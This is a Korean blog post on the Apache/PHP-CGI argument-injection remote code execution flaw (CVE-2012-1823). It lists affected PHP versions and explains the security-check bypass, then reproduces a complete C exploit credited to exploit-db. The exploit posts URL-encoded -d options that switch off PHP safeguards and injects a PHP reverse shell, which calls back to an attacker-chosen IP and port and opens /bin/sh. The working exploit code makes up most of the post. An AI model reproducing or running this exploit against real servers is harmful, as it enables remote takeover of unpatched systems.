티스토리 뷰

 

내용

  • Apache / PHP 5.X 에서 발생되는 원격 코드 실행 취약점

정보

  • 아직 검증되지 않은 상태이며 CVE에 등록되지 않은 상태

참고자료

 

테스트 된 취약버전

  • PHP 5.3.10
  • PHP 5.3.8-1
  • PHP 5.3.6-13
  • PHP5.3.3
  • PHP 5.2.17
  • PHP 5.2.11
  • PHP 5.2.6-3
  • PHP 5.2.6+lenny16 with Suhosin-Patch
  • PHP 5.3.12 이전 버전
  • PHP 5.4.2 이전 버전

CVE-2012-1823 패치에 의해 취약하지 않은 버전

  • PHP 4 (getopt 파서가 취약하지 않음)
  • PHP 5.3.12 이상 버전
  • PHP 5.4.2 이상 버전

 

해당 취약점의 내용을 요약하면 아래와 같습니다.

  • 해당 버그는 Apache와 PHP 사용에 의해 발생
  • php5-cgi 패키지가 기본 옵션으로 설치된 Debian과 Ubuntu 계열에서 취약점 발생
  • 기본 설치된 경우 php-cgi 바이너리가 /cgi-bin/php5, /cgi-bin/php 에서 접근 가능
  • 이 취약점은 해당 바이너리를 실행 시킬 수 있게 만듬. 그 이유는 처음에 Apache http server를 설치 했을 때, 해당 바이너리는 security check enabled인데, 익스플로잇을 통해 해당 security check를 우회
  • 기본적으로는 php-cgi 바이너리를 접근 했을 때, security check는 해당 요청을 거부하고 바이너리 실행을 막음
  • sapi/cgi/cgi_main.c 소스코드에서보면, php.ini 설정에서 cgi.force_redirect를 SET 하고 cgi.redirect_status_env를 SET 하지 않고 security check를 마침
  • php.ini에 있는 이 두개의 설정은 Security Check를 우회하고 바이너리를 실행 시킬 수 있도록 함
  • Security Check를 위한 이 코드가 호출되기 전에, getopt가 호출되고 이것은 -d 옵션을 이용하여 cgi.force_redirect 를 0으로 설정하고 cgi.redirect_status_env를 0으로 설정할 수 있음
  • 만약 두 개의 값이 0으로 설정되면, 서버 php-cgi로 전송되는 요청은 Fully Executable해지고, 공격자는 POST 데이터 필드에 payload를 넣음으로써 임의의 php를 실행 시킬 수 있으로써, 시스템에서 프로그램을 실행 시킬 수 있음

아래는 exploit-db에서 제공되는 코드이며 이 코드는 위 설명처럼 동작하고 SSL 역시 지원합니다.

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <stddef.h>
#include <openssl/rand.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
  
typedef struct {
    int sockfd;
    SSL *handle;
    SSL_CTX *ctx;
} connection;
  
void usage(char *argv[])
{
  printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
  "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
   argv[0]);
  exit(1);
}
  
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
 "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
 "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
 "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
 "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
 "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
 "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
 "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
 "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
 "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
 "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
 "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
 "Host: %s\r\n" \
 "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
 "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
 "Content-Type: application/x-www-form-urlencoded\r\n" \
 "Content-Length: %d\r\n" \
 "Connection: close\r\n\r\n%s";
char phpstr[] = "<?php\n" \
"set_time_limit(0);\n" \
"$ip = '%s';\n" \
"$port = %d;\n" \
"$chunk_size = 1400;\n" \
"$write_a = null;\n" \
"$error_a = null;\n" \
"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \
"$daemon = 0;\n" \
"$debug = 0;\n" \
"if (function_exists('pcntl_fork')) {\n" \
"   $pid = pcntl_fork();    \n" \
"   if ($pid == -1) {\n" \
"       printit(\"ERROR: Can't fork\");\n" \
"       exit(1);\n" \
"   }\n" \
"   if ($pid) {\n" \
"       exit(0);\n" \
"   }\n" \
"   if (posix_setsid() == -1) {\n" \
"       printit(\"Error: Can't setsid()\");\n" \
"       exit(1);\n" \
"   }\n" \
"   $daemon = 1;\n" \
"} else {\n" \
"   printit(\"WARNING: Failed to daemonise.\");\n" \
"}\n" \
"chdir(\"/\");\n" \
"umask(0);\n" \
"$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \
"if (!$sock) {\n" \
"   printit(\"$errstr ($errno)\");\n" \
"   exit(1);\n" \
"}\n" \
"$descriptorspec = array(\n" \
"   0 => array(\"pipe\", \"r\"),\n" \
"   1 => array(\"pipe\", \"w\"),\n" \
"   2 => array(\"pipe\", \"w\")\n" \
");\n" \
"$process = proc_open($shell, $descriptorspec, $pipes);\n" \
"if (!is_resource($process)) {\n" \
"   printit(\"ERROR: Can't spawn shell\");\n" \
"   exit(1);\n" \
"}\n" \
"stream_set_blocking($pipes[0], 0);\n" \
"stream_set_blocking($pipes[1], 0);\n" \
"stream_set_blocking($pipes[2], 0);\n" \
"stream_set_blocking($sock, 0);\n" \
"while (1) {\n" \
"   if (feof($sock)) {\n" \
"       printit(\"ERROR: Shell connection terminated\");\n" \
"       break;\n" \
"   }\n" \
"   if (feof($pipes[1])) {\n" \
"       printit(\"ERROR: Shell process terminated\");\n" \
"       break;\n" \
"   }\n" \
"   $read_a = array($sock, $pipes[1], $pipes[2]);\n" \
"   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \
"   if (in_array($sock, $read_a)) {\n" \
"       if ($debug) printit(\"SOCK READ\");\n" \
"       $input = fread($sock, $chunk_size);\n" \
"       if ($debug) printit(\"SOCK: $input\");\n" \
"       fwrite($pipes[0], $input);\n" \
"   }\n" \
"   if (in_array($pipes[1], $read_a)) {\n" \
"       if ($debug) printit(\"STDOUT READ\");\n" \
"       $input = fread($pipes[1], $chunk_size);\n" \
"       if ($debug) printit(\"STDOUT: $input\");\n" \
"       fwrite($sock, $input);\n" \
"   }\n" \
"   if (in_array($pipes[2], $read_a)) {\n" \
"       if ($debug) printit(\"STDERR READ\");\n" \
"       $input = fread($pipes[2], $chunk_size);\n" \
"       if ($debug) printit(\"STDERR: $input\");\n" \
"       fwrite($sock, $input);\n" \
"   }\n" \
"}\n" \
"\n" \
"fclose($sock);\n" \
"fclose($pipes[0]);\n" \
"fclose($pipes[1]);\n" \
"fclose($pipes[2]);\n" \
"proc_close($process);\n" \
"function printit ($string) {\n" \
"   if (!$daemon) {\n" \
"       print \"$string\n\";\n" \
"   }\n" \
"}\n" \
"exit(1);\n" \
"?>";
  
struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port)
{
 struct hostent *he;
 struct sockaddr_in server, *servercopy;
   
 if ((he=gethostbyname(hostname)) == NULL) {
  printf("Hostname cannot be resolved\n");
  exit(255);
 }
   
 servercopy = malloc(sizeof(struct sockaddr_in));
 if (!servercopy) {
    printf("malloc error (1)\n");
    exit(255);
 }
 memset(&server, '\0', sizeof(struct sockaddr_in));
 memcpy(&server.sin_addr, he->h_addr_list[0],  he->h_length);
 server.sin_family = AF_INET;
 server.sin_port = htons(port);
 memcpy(servercopy, &server, sizeof(struct sockaddr_in));
 return servercopy;
}
  
char *sslread(connection *c)
{
  char *rc = NULL;
  int received, count = 0, count2=0;
  char ch;
  
  for(;;)
  {
   if (!rc)
    rc = calloc(1024, sizeof (char) + 1);
   else
    if (count2 % 1024 == 0) {
     rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
    }
    received = SSL_read(c->handle, &ch, 1);
    if (received == 1) {
     rc[count++] = ch;
     count2++;
     if (count2 > 1024*5)
      break;
    }
    else
     break;
   }
  return rc;
}
  
char *read_(int sockfd)
{
  char *rc = NULL;
  int received, count = 0, count2=0;
  char ch;
  
  for(;;)
  {
   if (!rc)
    rc = calloc(1024, sizeof (char) + 1);
   else
    if (count2 % 1024 == 0) {
     rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
    }
    received = read(sockfd, &ch, 1);
    if (received == 1) {
     rc[count++] = ch;
     count2++;
     if (count2 > 1024*5)
      break;
    }
    else
     break;
   }
  return rc;
}
  
void main(int argc, char *argv[])
{
  char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,
   *interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;
  char httpsflag=0;
  unsigned short port=0, reverseport=0;
  struct sockaddr_in *server;
  int sockfd;
  unsigned int writesize, tmpsize;
  unsigned int i;
  connection *sslconnection;
  printf("-== Apache Magika by Kingcope ==-\n");
  for(;;)
  {
     int c;
     int option_index=0;
     static struct option long_options[] = {
       {"target", required_argument, 0, 0 },
       {"port", required_argument, 0, 0 },
       {"protocol", required_argument, 0, 0 },
       {"reverse-ip", required_argument, 0, 0 },
       {"reverse-port", required_argument, 0, 0 },
       {"force-interpreter", required_argument, 0, 0 },    
       {0, 0, 0, 0 }
      };
       
     c = getopt_long(argc, argv, "", long_options, &option_index);
     if (c < 0)
        break;
       
     switch (c) {
     case 0:
      switch (option_index) {
       case 0:
        if (optarg) {
         target = calloc(strlen(optarg)+1, sizeof(char));
         if (!target) {
          printf("calloc error (2)\n");
          exit(255);
         }
         memcpy(target, optarg, strlen(optarg)+1);
        }
        break;
       case 1:
        if(optarg)
         port = atoi(optarg);
        break;
       case 2:
        protocol = calloc(strlen(optarg)+1, sizeof(char));
        if (!protocol) {
         printf("calloc error (3)\n");
         exit(255);
        }
        memcpy(protocol, optarg, strlen(optarg)+1);
        if (!strcmp(protocol, "https"))
         httpsflag=1;
        break;
       case 3:
        reverseip = calloc(strlen(optarg)+1, sizeof(char));
        if (!reverseip) {
         printf("calloc error (4)\n");
         exit(255);
        }
        memcpy(reverseip, optarg, strlen(optarg)+1);       
        break;
       case 4:
        reverseport = atoi(optarg);       
        reverseportstr = calloc(strlen(optarg)+1, sizeof(char));
        if (!reverseportstr) {
         printf("calloc error (5)\n");
         exit(255);
        }
        memcpy(reverseportstr, optarg, strlen(optarg)+1);        
        break;
       case 5:
        forceinterpreter = calloc(strlen(optarg)+1, sizeof(char));
        if (!forceinterpreter) {
         printf("calloc error (6)\n");
         exit(255);
        }
        memcpy(forceinterpreter, optarg, strlen(optarg)+1);       
        break;
       default:
        usage(argv);
      }
      break;
       
     default:
      usage(argv);
     }
  }
  
  if ((optind < argc) || !target || !protocol || !port ||
      !reverseip || !reverseport){
    usage(argv);
  }
    
  server = gethostbyname_(target, port);
  if (!server) {
   printf("Error while resolving hostname. (7)\n");
   exit(255);
  }
  
  char *interpreters[5];
  int ninterpreters = 5;
  interpreters[0] = strdup("/cgi-bin/php");
  interpreters[1] = strdup("/cgi-bin/php5");
  interpreters[2] = strdup("/cgi-bin/php-cgi");
  interpreters[3] = strdup("/cgi-bin/php.cgi");
  interpreters[4] = strdup("/cgi-bin/php4");
    
  for (i=0;i<ninterpreters;i++) {
   interpreter = interpreters[i];
   if (forceinterpreter) {
     interpreter = strdup(forceinterpreter);
   }
   if (forceinterpreter && i)
    break;
   printf("%s\n", interpreter);
     
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if (sockfd < 1) { 
     printf("socket error (8)\n");
     exit(255);
   }
    
   if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) {
    printf("connect error (9)\n");
    exit(255);    
   }
   if (httpsflag) {
    sslconnection = (connection*) malloc(sizeof(connection));
    if (!sslconnection) {
     printf("malloc error (10)\n");
     exit(255);   
    }
    sslconnection->handle = NULL;
    sslconnection->ctx = NULL;
  
    SSL_library_init();
  
    sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
    if (!sslconnection->ctx) {
     printf("SSL_CTX_new error (11)\n");
     exit(255);
    }
  
    sslconnection->handle = SSL_new(sslconnection->ctx);
    if (!sslconnection->handle) {
     printf("SSL_new error (12)\n");
     exit(255);   
    }
    if (!SSL_set_fd(sslconnection->handle, sockfd)) {
     printf("SSL_set_fd error (13)\n");
     exit(255);
    }
     
    if (SSL_connect(sslconnection->handle) != 1) {
     printf("SSL_connect error (14)\n");
     exit(255);       
    }
   }
    
   tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64;
   tmpstr = (char*)calloc(tmpsize, sizeof(char));
   snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
     
   writesize = strlen(target) + strlen(interpreter) + 
     strlen(poststr) + strlen(tmpstr) + 64;
   writestr = (char*)calloc(writesize, sizeof(char));
   snprintf(writestr, writesize, poststr, interpreter,
     target, strlen(tmpstr), tmpstr);
    
   if (!httpsflag) {
     write(sockfd, writestr, strlen(writestr));
     readbuf = read_(sockfd);
   } else {
     SSL_write(sslconnection->handle, writestr, strlen(writestr));
     readbuf = sslread(sslconnection);
   }
    
   if (readbuf) {
     printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);  
   } else {
    printf("read error (15)\n");
    exit(255);    
   }
  }
  exit(1);
}

 

댓글